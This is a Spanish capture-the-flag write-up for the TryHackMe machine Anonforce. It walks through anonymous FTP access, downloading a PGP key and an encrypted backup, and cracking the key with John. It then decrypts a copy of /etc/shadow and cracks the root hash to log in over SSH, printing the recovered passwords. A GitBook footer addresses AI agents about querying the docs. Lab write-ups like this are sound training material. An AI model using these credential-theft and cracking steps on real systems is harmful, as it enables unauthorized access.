> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/anonforce.md).

# Anonforce

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo.

```bash
sudo nmap -sVSC -Pn -n -p- --min-rate 5000 <IP>
```

![Nmap](/files/4p5xtZOhujaklCtGl2MS)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Version              |
| ------ | ------ | -------- | -------------------- |
| 21/tcp | open   | FTP      | vsftpd 3.0.3         |
| 22/tcp | open   | SSH      | OpenSSH 7.2p2 Ubuntu |

El resultado mas importante es FTP, porque el script `ftp-anon` confirma que el acceso anonimo esta permitido. Ademas, el listado mostrado por Nmap apunta a que el FTP esta exponiendo el sistema de archivos desde la raiz.

***

## 2. Enumeracion FTP

Se accede al FTP usando el usuario `anonymous`.

```bash
ftp <IP>
```

Al listar el contenido se observan directorios del sistema como `bin`, `boot`, `etc`, `home`, `root` y un directorio llamativo llamado `notread`.

```bash
ls -la
```

El primer objetivo es revisar `/home`, donde aparece el usuario `melodias`.

```bash
cd /home/melodias
ls -la
get user.txt
```

Con esto se obtiene la flag de usuario. El usuario `melodias` tambien queda identificado como una cuenta valida del sistema.

***

## 3. Directorio notread

Durante la enumeracion manual desde la raiz aparece el directorio `/notread`.

```bash
cd /notread
ls -la
```

Dentro hay dos archivos interesantes:

| Archivo       | Comentario                                 |
| ------------- | ------------------------------------------ |
| `private.asc` | Clave privada PGP protegida por passphrase |
| `backup.pgp`  | Archivo cifrado con PGP                    |

Se descargan ambos archivos a la maquina atacante.

```bash
get private.asc
get backup.pgp
```

![Descarga de archivos PGP](/files/vSlrhNVSb6W1e25dBziT)

Al revisar `private.asc`, se confirma que es una clave privada PGP.

```bash
cat private.asc
```

![Clave privada PGP](/files/sqBl4uPT8Y5IcYt0HwJN)

***

## 4. Crackeo de la Clave PGP

Si se intenta importar la clave directamente, GPG solicita una passphrase.

```bash
gpg --import private.asc
```

Para poder atacarla con John, primero se convierte la clave al formato compatible.

```bash
gpg2john private.asc > hash.txt
```

Despues se lanza John con `rockyou.txt`.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![John private.asc](/files/PwGNc1dgcJlYDr1jRZiz)

La passphrase recuperada es:

```
xbox360
```

***

## 5. Descifrado de backup.pgp

Con la passphrase recuperada, se importa la clave privada.

```bash
gpg --import private.asc
```

Despues se descifra el archivo `backup.pgp`.

```bash
gpg --decrypt backup.pgp
```

![Descifrado de backup.pgp](/files/njn8CcAO3AlHbwlAq0fI)

El contenido descifrado corresponde a una copia de `/etc/shadow`. Entre los hashes aparece el de `root`.

```
root:$6$...
```

El prefijo `$6$` indica un hash `sha512crypt`, asi que se guarda la linea de `root` en un archivo para crackearla.

```bash
gpg --decrypt backup.pgp | grep '^root:' > root_hash.txt
```

Tambien se puede comprobar el tipo de hash con `hash-identifier`, aunque en este caso el indicador mas fiable es el propio prefijo `$6$` del hash.

![Hash identifier](/files/evPfwIXXDju6SCgrNuJF)

***

## 6. Crackeo del Hash de root

Se ejecuta John contra el hash de `root`.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt
```

![John root hash](/files/lKhFik9hdy7YziI5fCb5)

La password recuperada para `root` es:

```
hikari
```

***

## 7. Acceso SSH como root

Con SSH abierto y la password recuperada, se accede directamente como `root`.

```bash
ssh root@<IP>
```

![SSH root](/files/7IJ0xSe67tpxf3BHemW2)

Se confirma el usuario actual.

```bash
whoami
```

```
root
```

Desde ahi se puede leer la flag final en `/root/root.txt`.

***

## Resumen

| Paso | Tecnica            | Resultado                                     |
| ---- | ------------------ | --------------------------------------------- |
| 1    | Nmap               | FTP y SSH abiertos                            |
| 2    | FTP anonimo        | Acceso al sistema de archivos                 |
| 3    | Enumeracion manual | `user.txt` en `/home/melodias`                |
| 4    | FTP anonimo        | Descarga de `private.asc` y `backup.pgp`      |
| 5    | `gpg2john` + John  | Passphrase PGP recuperada                     |
| 6    | GPG                | Backup descifrado como copia de `/etc/shadow` |
| 7    | John               | Password de `root` crackeada                  |
| 8    | SSH                | Acceso final como `root`                      |

***

## Conclusion

Anonforce es una maquina muy directa, pero deja una leccion importante: un FTP anonimo mal configurado puede ser critico si expone rutas sensibles del sistema. En este caso permite leer la flag de usuario, descargar una clave privada PGP y un backup cifrado, recuperar la passphrase con John, descifrar una copia de `/etc/shadow` y crackear la password de `root` para entrar por SSH.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/anonforce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
